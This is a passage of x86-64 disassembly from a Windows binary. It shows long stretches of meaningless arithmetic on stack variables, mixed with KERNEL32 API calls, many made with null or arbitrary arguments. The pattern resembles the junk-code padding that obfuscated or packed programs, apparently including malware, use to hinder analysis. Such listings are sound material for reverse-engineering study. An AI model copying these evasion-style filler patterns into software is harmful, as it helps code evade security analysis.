movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
mov eax, dword [rsp + 0xa4d8]
movzx ecx, al
mov eax, dword [rsp + 0xa6f4]
shr eax, cl
mov dword [rsp + 0x8144], eax
mov rax, qword [rsp + 0x14348]
mov rcx, qword [rsp + 0x14178]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x141d0]
mov dword [rcx], eax
movsx eax, word [0x140282694]
mov rcx, qword [rsp + 0x14648]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d0c], ax
movzx eax, byte [rsp + 0x672]
mov byte [rsp + 0x695], al
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14470]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x684], al
movzx eax, word [rsp + 0x1cc0]
mov word [rsp + 0x2d14], ax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa5a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa630], eax
mov rax, qword [rsp + 0x14688]
mov ecx, dword [rsp + 0xa5ec]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028ee1c], eax
mov rax, qword [rsp + 0x146f8]
mov eax, dword [rax]
mov dword [rsp + 0xa718], eax
lea rcx, [0x140283ab0]
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2cb8], ax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa100]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa380], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa2a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa680], eax
lea rax, [rsp + 0x2ba8]
mov qword [rsp + 0x14778], rax
movzx eax, byte [rsp + 0x650]
mov rcx, qword [rsp + 0x145a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x64d], al
mov rax, qword [rsp + 0x14760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x72c0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x87b0], eax
mov eax, dword [rsp + 0xa488]
mov ecx, dword [rsp + 0xa424]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4bc], eax
mov eax, dword [rsp + 0x9108]
mov ecx, dword [rsp + 0xa4e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa484], eax
mov eax, dword [rsp + 0x9774]
mov dword [0x14028ed74], eax
movzx eax, word [rsp + 0x1820]
mov word [rsp + 0x2d18], ax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x143b8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14698]
mov byte [rcx], al
movzx eax, byte [rsp + 0x66b]
mov byte [rsp + 0x696], al
mov rax, qword [rsp + 0x142c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x142b0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2cbc], ax
mov rax, qword [rsp + 0x144a8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x142b8]
mov qword [rsp + 0x14780], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14780]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8be0], eax
mov rax, qword [rsp + 0x141e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x68c8]
sar eax, cl
mov dword [rsp + 0x706c], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x34b0
mov rcx, qword [rsp + 0x146f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa69c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14670]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14548]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x325], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa4f0], eax
movzx eax, word [rsp + 0x2cd0]
mov word [rsp + 0x2d1c], ax
mov eax, dword [rsp + 0xa3e0]
mov ecx, dword [0x14028275c]
add ecx, eax
mov eax, ecx
mov dword [0x14028eec4], eax
mov eax, dword [rsp + 0xa6d8]
mov ecx, dword [rsp + 0x7ae8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa608], eax
mov rax, qword [rsp + 0x146c8]
mov ecx, dword [rsp + 0xa5a8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa4e0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov dword [rsp + 0xa71c], eax
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c44]
sub eax, ecx
mov word [rsp + 0x2cb4], ax
mov rax, qword [0x14028ed80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x68f]
add eax, ecx
mov byte [rsp + 0x3d7], al
mov rax, qword [rsp + 0x141e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa56c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa5f0], eax
mov eax, dword [rsp + 0xa570]
mov dword [rsp + 0xa720], eax
mov eax, dword [rsp + 0xa514]
mov ecx, dword [0x1402826f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x66b8], eax
mov edx, 0x302036
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa4f0], eax
mov rax, qword [rsp + 0x141f8]
mov ecx, dword [rsp + 0xa494]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402826b4], eax
mov rax, qword [rsp + 0x14640]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x146c0]
mov qword [rsp + 0x14788], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14788]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa044], eax
mov rax, qword [rsp + 0x142c0]
movzx eax, word [rax]
mov word [rsp + 0x2d20], ax
movsx eax, byte [rsp + 0x66d]
movsx ecx, byte [rsp + 0x63b]
or eax, ecx
mov byte [rsp + 0x649], al
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d14]
shl eax, cl
mov word [rsp + 0x2a4c], ax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63c]
xor eax, ecx
mov rcx, qword [rsp + 0x14670]
mov byte [rcx], al
mov rax, qword [0x14028ee70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9d94]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14588]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
mov dword [rsp + 0xa724], eax
movzx eax, word [rsp + 0x2c50]
movzx ecx, word [rsp + 0x2c18]
sub eax, ecx
mov word [rsp + 0x2b4c], ax
lea rcx, [rsp + 0x21a68]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov rcx, qword [0x14028edf0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281df6], al
mov rax, qword [rsp + 0x14560]
mov eax, dword [rax]
mov dword [rsp + 0xa728], eax
mov rax, qword [rsp + 0x14748]
mov rcx, qword [rsp + 0x141e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa4dc], eax
mov rax, qword [rsp + 0x14738]
mov ecx, dword [0x14028ee44]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa374], eax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov dword [rsp + 0xa72c], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c50]
and eax, ecx
mov word [rsp + 0x2b8c], ax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x143f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3c5], al
mov rax, qword [rsp + 0x14738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa478], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa4b4], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14108], rax
mov eax, dword [rsp + 0xa39c]
mov dword [rsp + 0xa730], eax
mov rax, qword [0x14028ed90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x142e8]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140282764], ax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x64c]
add eax, ecx
mov byte [rsp + 0x66f], al
movzx eax, byte [rsp + 0x687]
mov rcx, qword [0x14028edf0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x679], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov word [rsp + 0x2d24], ax
mov rax, qword [rsp + 0x141c8]
mov ecx, dword [rsp + 0xa514]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa564], eax
mov eax, dword [0x1402826d4]
mov rcx, qword [rsp + 0x14588]
mov qword [rsp + 0x14790], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14790]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6d88], eax
mov rax, qword [rsp + 0x14688]
mov ecx, dword [rsp + 0x9790]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa404], eax
mov rax, qword [rsp + 0x144f0]
mov ecx, dword [rsp + 0x7f7c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
mov dword [rsp + 0xa734], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b50]
sub eax, ecx
mov rcx, qword [rsp + 0x14770]
mov word [rcx], ax
mov rax, qword [rsp + 0x14548]
movzx eax, byte [rax]
mov rcx, qword [0x14028edf0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281de2], al
mov rcx, qword [rsp + 0x140a0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa738], eax
mov eax, dword [rsp + 0xa468]
mov dword [rsp + 0xa73c], eax
mov rax, qword [rsp + 0x140f0]
mov rcx, qword [rsp + 0x146c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa658], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x14178]
mov rcx, qword [0x14028edd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5cc], eax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x14588]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa0bc], eax
movzx eax, byte [rsp + 0x65a]
movzx ecx, byte [rsp + 0x302]
and eax, ecx
mov byte [rsp + 0xbb], al
movzx eax, word [0x140282754]
mov word [rsp + 0x2d28], ax
mov rax, qword [rsp + 0x14448]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2be8]
sub eax, ecx
mov word [rsp + 0x2bac], ax
movsx eax, byte [rsp + 0x28d]
movsx ecx, byte [rsp + 0x619]
add eax, ecx
mov byte [rsp + 0x647], al
mov rax, qword [0x14028edb8]
mov ecx, dword [rsp + 0x8bc0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028275c], eax
mov rax, qword [rsp + 0x14348]
mov eax, dword [rax]
mov dword [rsp + 0xa740], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3db]
xor eax, ecx
mov byte [rsp + 0x275], al
mov rax, qword [rsp + 0x14590]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2958]
shl eax, cl
mov word [rsp + 0x22a8], ax
mov eax, dword [rsp + 0xa238]
movzx ecx, al
mov eax, dword [rsp + 0xa678]
sar eax, cl
mov dword [rsp + 0xa704], eax
mov eax, dword [0x14028269c]
mov dword [rsp + 0xa744], eax
mov rax, qword [rsp + 0x14760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3e4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa378], eax
mov rax, qword [rsp + 0x145d8]
mov ecx, dword [rsp + 0xa5b8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa464], eax
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
mov word [rsp + 0x2d2c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EraseTape]
movzx eax, byte [rsp + 0x4d0]
mov byte [0x14028ed70], al
mov eax, dword [rsp + 0xa744]
mov ecx, dword [rsp + 0x6ad8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa61c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
mov rax, qword [rsp + 0x146c0]
mov ecx, dword [0x1402826ec]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x80fc], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0x9a0c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a78], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4c4], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x1e7e
mov r8d, 0x2379
mov edx, DrawInsert
mov rcx, qword [rsp + 0x14508]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa748], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa548], eax
mov eax, dword [rsp + 0x9930]
mov dword [rsp + 0xa74c], eax
movsx eax, word [rsp + 0x1598]
mov rcx, qword [rsp + 0x142b0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c28], ax
movzx eax, byte [rsp + 0x28d]
mov byte [rsp + 0x697], al
mov rax, qword [rsp + 0x14470]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64b]
add eax, ecx
mov byte [rsp + 0x663], al
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14310]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140282768], ax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4e8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov dword [rsp + 0xa750], eax
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x157c], ax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
mov rcx, qword [0x14028ee20]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x411], al
mov rax, qword [rsp + 0x13e78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x144d8]
mov qword [rsp + 0x14798], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14798]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa62c], eax
mov rax, qword [0x14028eda0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa424]
shr eax, cl
mov dword [rsp + 0xa63c], eax
lea rax, [rsp + 0xa2f4]
mov qword [rsp + 0x147a0], rax
mov eax, dword [rsp + 0x7ae8]
mov ecx, dword [rsp + 0xa480]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d28], eax
movzx eax, word [rsp + 0x1f98]
movzx ecx, word [0x140282700]
and eax, ecx
mov word [0x14028ed9e], ax
mov rax, qword [rsp + 0x14480]
movzx eax, byte [rax]
mov byte [rsp + 0x698], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa26c], eax
mov eax, dword [rsp + 0xa744]
mov ecx, dword [rsp + 0xa594]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa508], eax
lea rax, [rsp + 0xa400]
mov qword [rsp + 0x147a8], rax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x146d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x643], al
movsx eax, word [rsp + 0x2be8]
movsx ecx, word [rsp + 0x1598]
add eax, ecx
mov word [rsp + 0x2c40], ax
lea rax, [rsp + 0x2c3c]
mov qword [rsp + 0x147b0], rax
movzx eax, byte [0x140281de7]
movzx ecx, byte [rsp + 0x63f]
add eax, ecx
mov byte [rsp + 0x674], al
mov rax, qword [rsp + 0x14510]
mov eax, dword [rax]
mov dword [rsp + 0xa754], eax
mov rax, qword [rsp + 0x143d8]
mov rcx, qword [rsp + 0x14578]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028276c], eax
mov rax, qword [0x14028edd0]
mov ecx, dword [rsp + 0xa338]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7ae8], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x14248]
mov rcx, qword [rsp + 0x142b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa6dc], eax
mov eax, dword [rsp + 0x7c54]
mov ecx, dword [rsp + 0xa454]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f50], eax
mov rax, qword [rsp + 0x141d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2958], ax
movzx eax, byte [rsp + 0x65a]
mov byte [rsp + 0x699], al
mov eax, dword [rsp + 0x763c]
movzx ecx, al
mov eax, dword [0x14028edc0]
shl eax, cl
mov dword [rsp + 0xa4cc], eax
mov eax, dword [rsp + 0x7684]
mov rcx, qword [rsp + 0x14618]
mov qword [rsp + 0x147b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x147b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa524], eax
mov eax, dword [rsp + 0xa044]
mov dword [rsp + 0xa758], eax
mov rax, qword [rsp + 0x14288]
mov ecx, dword [rsp + 0xa48c]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x14028ee44], eax
movzx eax, byte [rsp + 0x68b]
movzx ecx, byte [rsp + 0x68f]
sub eax, ecx
mov byte [rsp + 0x2cd], al
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
movzx ecx, word [0x140282740]
sub eax, ecx
mov word [rsp + 0x15d4], ax
mov rax, qword [rsp + 0x142c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14138]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14648]
mov word [rcx], ax
movzx eax, byte [rsp + 0x655]
mov byte [rsp + 0x69a], al
mov rax, qword [rsp + 0x14248]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa628]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x820c], eax
mov rax, qword [rsp + 0x144f0]
mov rcx, qword [rsp + 0x144e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9ca4], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov byte [rsp + 0x69b], al
lea rcx, [rsp + 0x21b08]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, word [0x1402826e0]
mov rcx, qword [rsp + 0x14430]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x143e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x14608]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7600]
sub ecx, eax
mov eax, ecx
mov dword [0x14028eddc], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa738], eax
lea rax, [rsp + 0xa730]
mov qword [rsp + 0x147c0], rax
mov rax, qword [rsp + 0x143d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa498]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa64c], eax
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x14588]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8bc0], eax
movzx eax, byte [rsp + 0x650]
movzx ecx, byte [rsp + 0x685]
add eax, ecx
mov byte [rsp + 0x33b], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x13f08], rax
movzx eax, word [rsp + 0x2680]
movzx ecx, word [rsp + 0x2134]
add eax, ecx
mov rcx, qword [rsp + 0x14498]
mov word [rcx], ax
mov eax, dword [rsp + 0xa650]
mov dword [rsp + 0xa75c], eax
mov rax, qword [rsp + 0x146c0]
mov eax, dword [rax]
mov ecx, dword [0x14028ed74]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e70], eax
lea rdx, [rsp + 0xa760]
mov rcx, qword [rsp + 0x143b0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa444], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [rsp + 0xa588]
movzx ecx, al
mov eax, dword [rsp + 0x6c58]
shl eax, cl
mov dword [rsp + 0xa754], eax
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
mov dword [0x14028ed6c], eax
mov eax, dword [rsp + 0xa600]
mov dword [rsp + 0xa764], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa760], eax
movsx eax, byte [rsp + 0x647]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x634], al
mov rax, qword [rsp + 0x14530]
movzx eax, word [rax]
mov word [rsp + 0x2d30], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
mov rcx, qword [0x14028ee20]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x5f5], al
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d08]
and eax, ecx
mov word [rsp + 0x2c80], ax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x144a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7854], eax
mov rax, qword [0x14028ee90]
mov ecx, dword [rsp + 0xa730]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9774], eax
lea rax, [rsp + 0x21d]
mov qword [rsp + 0x147c8], rax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2cc4]
and eax, ecx
mov word [0x140282768], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov eax, dword [rsp + 0xa3e0]
mov ecx, dword [rsp + 0xa3f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa52c], eax
mov eax, dword [rsp + 0xa544]
mov dword [rsp + 0xa768], eax
mov rcx, qword [rsp + 0x141a8]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa76c], eax
mov rax, qword [rsp + 0x14490]
mov ecx, dword [rsp + 0x7720]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x141f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14228]
mov ecx, dword [rsp + 0x8c5c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3f0], eax
movzx eax, word [rsp + 0x2c58]
mov word [rsp + 0x2d34], ax
movzx eax, byte [rsp + 0x692]
movzx ecx, byte [0x14028ed70]
sub eax, ecx
mov rcx, qword [rsp + 0x13f58]
mov byte [rcx], al
mov rax, qword [rsp + 0x145d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7714], eax
mov eax, dword [rsp + 0xa714]
mov ecx, dword [rsp + 0xa438]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3a4], eax
movsx eax, byte [0x14028ed9c]
movsx ecx, byte [rsp + 0x63e]
or eax, ecx
mov byte [0x140281df7], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rax, qword [rsp + 0x142e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x145e8]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d44], ax
movzx eax, word [0x1402826e8]
mov word [rsp + 0x2d38], ax
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x693]
shl eax, cl
mov byte [rsp + 0x65f], al
lea rax, [rsp + 0xa3a8]
mov qword [rsp + 0x147d0], rax
mov rax, qword [rsp + 0x140b8]
mov ecx, dword [rsp + 0x84a4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa514], eax
mov rax, qword [rsp + 0x144e0]
mov ecx, dword [rsp + 0x9f14]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x143a8]
mov eax, dword [rax]
mov dword [rsp + 0xa770], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa64c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa640], eax
movzx eax, word [rsp + 0x2c14]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1f4c], ax
movzx eax, byte [rsp + 0x325]
movzx ecx, byte [rsp + 0x63a]
sub eax, ecx
mov byte [0x140281e06], al
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov ecx, dword [0x1402826d4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x866c], eax
mov rax, qword [rsp + 0x146f8]
mov eax, dword [rax]
mov dword [rsp + 0xa774], eax
mov rax, qword [rsp + 0x144f0]
mov rcx, qword [rsp + 0x14640]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7ae8], eax
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
mov ecx, dword [0x1402826f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7600], eax
movzx eax, byte [rsp + 0x648]
mov byte [rsp + 0x69c], al
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
movzx ecx, word [0x140282698]
sub eax, ecx
mov word [rsp + 0x2c70], ax
movsx eax, word [rsp + 0x2b6c]
movsx ecx, word [rsp + 0x2bd4]
add eax, ecx
mov word [rsp + 0x1f08], ax
movsx eax, byte [rsp + 0x634]
movsx ecx, byte [rsp + 0x66c]
sar eax, cl
mov byte [rsp + 0x66d], al
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
mov ecx, dword [0x14028269c]
or ecx, eax
mov eax, ecx
mov dword [0x140282748], eax
mov eax, dword [rsp + 0x65a8]
mov rcx, qword [rsp + 0x145d0]
mov qword [rsp + 0x147d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x147d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9f14], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa58c], eax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
mov byte [rsp + 0x69d], al
mov rax, qword [rsp + 0x14600]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x144b0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2b84], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
mov rax, qword [rsp + 0x141f8]
mov eax, dword [rax]
mov dword [rsp + 0xa778], eax
mov rax, qword [rsp + 0x14588]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8598], eax
mov rax, qword [rsp + 0x14110]
mov ecx, dword [rsp + 0xa648]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x147c0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x94dc]
mov dword [rsp + 0xa77c], eax
mov rax, qword [rsp + 0x14670]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14480]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x670], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa58c], eax
movzx eax, word [rsp + 0x2bc8]
movzx ecx, word [rsp + 0x2cf4]
add eax, ecx
mov word [0x140282770], ax
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [rsp + 0x7b28]
mov eax, dword [rax]
add eax, ecx
